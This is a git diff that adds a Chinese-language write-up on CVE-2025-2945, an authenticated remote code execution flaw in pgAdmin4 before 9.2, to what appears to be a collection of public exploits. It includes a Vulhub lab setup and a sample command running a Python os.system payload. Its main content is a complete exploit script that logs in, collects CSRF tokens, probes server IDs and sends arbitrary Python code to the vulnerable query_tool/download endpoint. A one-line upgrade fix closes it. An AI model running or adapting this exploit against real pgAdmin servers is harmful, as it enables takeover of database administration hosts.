diff --git a/README.md b/README.md index d7634c3..d6058fe 100644 --- a/README.md +++ b/README.md @@ -404,6 +404,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito * PDF.js 任意 JavaScript 代码执行 CVE-2024-4367 * pgAdmin ≤ 6.16 无授权远程命令执行漏洞 CVE-2022-4223 * pgAdmin ≤ 7.6 后台远程命令执行漏洞 CVE-2023-5002 + * pgAdmin4<9.2 后台远程代码执行漏洞 CVE-2025-2945 * phpMyAdmin后台SQL注入 CVE-2020-26935 * PHPStudy 后台管理页面 one click RCE * PowerJob list 信息泄漏漏洞 CVE-2023-29923 diff --git a/Web应用漏洞/images/pgAdmin4<9.2 后台远程代码执行漏洞 CVE-2025-2945/image-20250922101315507.png b/Web应用漏洞/images/pgAdmin4<9.2 后台远程代码执行漏洞 CVE-2025-2945/image-20250922101315507.png new file mode 100644 index 0000000..2b0c3ef Binary files /dev/null and b/Web应用漏洞/images/pgAdmin4<9.2 后台远程代码执行漏洞 CVE-2025-2945/image-20250922101315507.png differ diff --git a/Web应用漏洞/images/pgAdmin4<9.2 后台远程代码执行漏洞 CVE-2025-2945/image-20250922101655875.png b/Web应用漏洞/images/pgAdmin4<9.2 后台远程代码执行漏洞 CVE-2025-2945/image-20250922101655875.png new file mode 100644 index 0000000..f2a49b5 Binary files /dev/null and b/Web应用漏洞/images/pgAdmin4<9.2 后台远程代码执行漏洞 CVE-2025-2945/image-20250922101655875.png differ diff --git a/Web应用漏洞/images/pgAdmin4<9.2 后台远程代码执行漏洞 CVE-2025-2945/image-20250922101742643.png b/Web应用漏洞/images/pgAdmin4<9.2 后台远程代码执行漏洞 CVE-2025-2945/image-20250922101742643.png new file mode 100644 index 0000000..37a70fb Binary files /dev/null and b/Web应用漏洞/images/pgAdmin4<9.2 后台远程代码执行漏洞 CVE-2025-2945/image-20250922101742643.png differ diff --git a/Web应用漏洞/pgAdmin4<9.2 后台远程代码执行漏洞 CVE-2025-2945.md b/Web应用漏洞/pgAdmin4<9.2 后台远程代码执行漏洞 CVE-2025-2945.md new file mode 100644 index 0000000..7d51b26 --- /dev/null +++ b/Web应用漏洞/pgAdmin4<9.2 后台远程代码执行漏洞 CVE-2025-2945.md @@ -0,0 +1,244 @@ +# pgAdmin4<9.2 后台远程代码执行漏洞 CVE-2025-2945 + +## 漏洞描述 + +pgAdmin 是一个流行且功能丰富的开源 PostgreSQL 数据库管理和开发平台,广泛被数据库管理员和开发者用于通过 Web 界面管理 PostgreSQL 数据库。 + +pgAdmin4 9.2 版本之前存在一个远程代码执行漏洞。该漏洞存在于两个 POST 接口中:`/sqleditor/query_tool/download` 接口的 `query_commited` 参数和 `/cloud/deploy` 接口的 `high_availability` 参数被不安全地传递给 Python 的 `eval()` 函数,允许已认证的攻击者在服务器上执行任意代码。该漏洞影响 pgAdmin4 9.2 版本之前的所有版本。 + +参考链接: + +- https://nvd.nist.gov/vuln/detail/CVE-2025-2945 +- https://github.com/advisories/GHSA-g73c-fw68-pwx3 +- https://github.com/pgadmin-org/pgadmin4/issues/8603 +- https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007c + +## 漏洞影响 + +``` +pgAdmin4 < 9.2 +``` + +## 环境搭建 + +Vulhub 执行以下命令启动 pgAdmin4 9.1 服务器和 PostgreSQL 数据库: + +``` +docker compose up -d +``` + +服务器启动后,访问 http://your-ip:5050/ 进入 pgAdmin4 登录页面。pgAdmin4 的登录凭据为 `vulhub@example.com:vulhub`。 + +利用此漏洞需要一个可访问的 PostgreSQL 数据库实例来初始化 SQL 编辑器。PostgreSQL 数据库已包含在 docker-compose.yml 中,并已在 pgAdmin4 的服务器列表中预配置,凭据为 `vulhub:vulhub`。 + +![](images/pgAdmin4<9.2%20后台远程代码执行漏洞%20CVE-2025-2945/image-20250922101315507.png) + +## 漏洞复现 + +复现此漏洞可以使用 Metasploit 的 `exploit/multi/http/pgadmin_query_tool_authenticated` 模块或独立的 Python 脚本 [https://github.com/Cycloctane/cve-2025-2945-poc/blob/main/exp.py](https://github.com/Cycloctane/cve-2025-2945-poc/blob/main/exp.py)。 + +运行 exploit 脚本,使用简单的文件创建载荷来验证代码执行: + +```shell +python exp.py --target-url http://your-ip:5050 \ + --username vulhub@example.com --password vulhub \ + --db-user vulhub --db-pass vulhub --db-name vulhub \ + --payload "__import__('os').system('touch /tmp/awesome_poc')" +``` + +![](images/pgAdmin4<9.2%20后台远程代码执行漏洞%20CVE-2025-2945/image-20250922101655875.png) + +执行成功后,通过检查容器来验证文件是否被创建: + +```shell +docker compose exec web ls -al /tmp/ +``` + +![](images/pgAdmin4<9.2%20后台远程代码执行漏洞%20CVE-2025-2945/image-20250922101742643.png) + +## 漏洞 POC + +[exp.py](https://github.com/Cycloctane/cve-2025-2945-poc/blob/main/exp.py) + +``` +#!/usr/bin/env python3 + +import re +from random import randint +from urllib.parse import urljoin + +import requests + +def get_version(target_url: str) -> tuple[int, int] | None: + resp = requests.get(urljoin(target_url, '/login')) + if resp.status_code == 200: + if m := re.search(r'?]+\?ver=(\d?\d)(\d\d)\d\d"/?>', resp.text): + return int(m.group(1)), int(m.group(2)) + +def get_csrf_token(session: requests.Session, target_url: str) -> str | None: + login_resp = session.get(urljoin(target_url, '/login'), allow_redirects=False) + if login_resp.status_code == 200: + if m := re.search( + r'', login_resp.text + ): + return m.group(2) + if m := re.search(r'"csrfToken": "([\w+.-]+)"', login_resp.text): + return m.group(1) + else: + js_resp = session.get(urljoin(target_url, '/browser/js/utils.js')) + if m := re.search(r"pgAdmin\['csrf_token'\]\s*=\s*'([^']+)'", js_resp.text): + return m.group(1) + if m := re.search(r'"csrfToken": "([\w+.-]+)"', js_resp.text): + return m.group(1) + print("[!] Failed to retrieve CSRF token") + +def exploit( + target_url: str, + username: str, + password: str, + db_name: str, + db_user: str, + db_pass: str, + payload: str, + max_server_id: int = 10, + skip_version_check: bool = False +) -> bool: + """ + pgAdmin4 query tool authenticated RCE (CVE-2025-2945) exp. + + :return: True if the exploit attempt is (or believed to be) successful, + otherwise False. + """ + if not skip_version_check: + # Check pgAdmin4 version + version = get_version(target_url) + if not version: + print("[!] Unable to determine pgAdmin4 version") + return False + elif version < (8, 10) or version >= (9, 2): + print(f"[!] pgAdmin4 version {version[0]}.{version[1]} is not affected") + return False + else: + print(f"[+] pgAdmin4 version {version[0]}.{version[1]} is affected") + + session = requests.Session() + + # Login + csrf_token = get_csrf_token(session, target_url) + if csrf_token is None: + return False + + resp = session.post( + urljoin(target_url, 'authenticate/login'), + data={ + "csrf_token": csrf_token, + "email": username, + "password": password, + "language": "en", + "internal_button": "login" + }, + allow_redirects=False, + ) + if not resp.ok or resp.headers.get('Location', '').endswith('/login'): + print("[!] Failed to authenticate to pgAdmin") + return False + print("[+] Successfully authenticated to pgAdmin") + + # Refresh CSRF token + csrf_token = get_csrf_token(session, target_url) + if csrf_token is None: + return False + session.headers.update({"X-pgA-CSRFToken": csrf_token}) + + # Find a valid server ID + sgid = randint(1, 10) + sid = None + for i in range(1, max_server_id + 1): + resp = session.get( + urljoin(target_url, f'/sqleditor/get_server_connection/{sgid}/{i}'), + headers={"Content-Type": "application/x-www-form-urlencoded"} + ) + if resp.status_code == 200: + if resp.json().get('data', {}).get('status') is True: + print("[+] Found valid server ID:", i) + sid = i + break + else: + print(f"[!] Received {resp.status_code} when trying to find server ID") + print("[!] Received body:", resp.text) + return False + + if sid is None: + print("[!] Failed to find a valid server ID, try increasing MAX_SERVER_ID") + return False + + # Initialize sqleditor + trans_id = randint(1_000_000, 9_999_999) + did = randint(10000, 99999) + resp = session.post( + urljoin(target_url, f"/sqleditor/initialize/sqleditor/{trans_id}/{sgid}/{sid}/{did}"), + json={ + "user": db_user, + "password": db_pass, + "role": "", + "dbname": db_name, + } + ) + if not resp.ok: + print("[!] Failed to initialize sqleditor") + return False + + # Send the payload + print("[+] Exploiting the target...") + resp = session.post( + urljoin(target_url, f"/sqleditor/query_tool/download/{trans_id}"), + json={"query_commited": payload}, + headers={ + "Referer": urljoin(target_url, f"/sqleditor/panel/{trans_id}?is_query_tool=true") + } + ) + if resp.status_code == 500: + print("[+] Received expected 500 response:", resp.text) + return True + else: + print( + "[!] Received unexpected response code from the exploit attempt:", + resp.status_code, resp.text + ) + return False + +if __name__ == '__main__': + import argparse + import sys + parser = argparse.ArgumentParser( + description="pgAdmin4 query tool authenticated RCE (CVE-2025-2945) exploit" + ) + parser.add_argument( + "--target-url", required=True, + help="Base URL of the target pgAdmin4 instance (http://RHOST:RPORT/)" + ) + parser.add_argument("--username", help="pgAdmin4 username", required=True) + parser.add_argument("--password", help="pgAdmin4 password", required=True) + parser.add_argument( + "--db-user", help="Username of the database used to initialize sqleditor", required=True + ) + parser.add_argument("--db-pass", help="Database password", required=True) + parser.add_argument("--db-name", help="Database db name", required=True) + parser.add_argument("--payload", help="Payload (Python code)", required=True) + parser.add_argument( + "--max-server-id", type=int, default=10, help="Maximum number of Server IDs to try" + ) + parser.add_argument( + "--skip-version-check", action="store_true", + help="Do not check if target version is affected before exploit" + ) + ns = parser.parse_args() + sys.exit(int(not exploit( + ns.target_url, ns.username, ns.password, ns.db_name, ns.db_user, ns.db_pass, ns.payload, + ns.max_server_id, ns.skip_version_check, + ))) +``` + +## 漏洞修复 + +将组件 pgadmin4 升级至 9.2 及以上版本。